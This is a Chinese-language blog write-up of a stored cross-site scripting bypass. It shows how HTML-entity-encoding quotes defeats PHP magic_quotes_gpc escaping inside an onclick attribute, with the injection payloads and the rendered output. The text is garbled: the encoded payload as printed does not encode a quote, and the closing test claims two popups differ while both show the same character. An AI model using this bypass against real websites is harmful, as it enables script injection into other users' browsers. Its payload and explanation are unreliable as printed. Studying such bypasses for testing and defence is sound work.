脆弱性测试的时候,发现了一处输出没有做编码转换,但由于开启了magic_quote_gpc,导致提交的数据中,' "都被转义,最后导致输出的地方不能执行恶意js。
如下:
提交的恶意数据为
1
|
',alert(123),' |
因为被magic_quote_gpc转义,存储到后台的数据也是被转义的,导致输出的结果为
1
|
< img src = 'xxx' onclick = "edit('1','1.1.1.1','\',alert(123),\'')" /> |
|
后来参考了乌云上的一篇文章:http://www.wooyun.org/bugs/wooyun-2010-019754 |
浏览器中html的解析优先于js的解析,所以将提交的数据中,单引号进行html编码,同时绕过了gpc的转义
1
|
%26#29,alert(123),%25#29, |
输出结果为
1
|
< img src = 'xxx' onclick = "edit('1','1.1.1.1',',alert(123),')" /> |
后来做了一下测试,在如下的代码中,第一个js弹窗出现的内容是♥,但是第二个弹窗则是♥。当点击图片时,因为标签内容先经过了一遍html解析,所以最后传递给js的内容为 edit('1','1.1.1.1','',alert(123),''),出现弹窗。
想了一下,估计是浏览器在执行的时候,遇到js标签,直接将内容交给js解析器了,但是第二个则是先经过了html解析img标签,然后点击图片的时候,提交给js的这是html解析之后的数据了。
1
2
3
4
5
6
|
< html > < body > < script >alert('♥')</ script > < img src = "123" onclick = "alert('♥')" /> </ body > </ html > |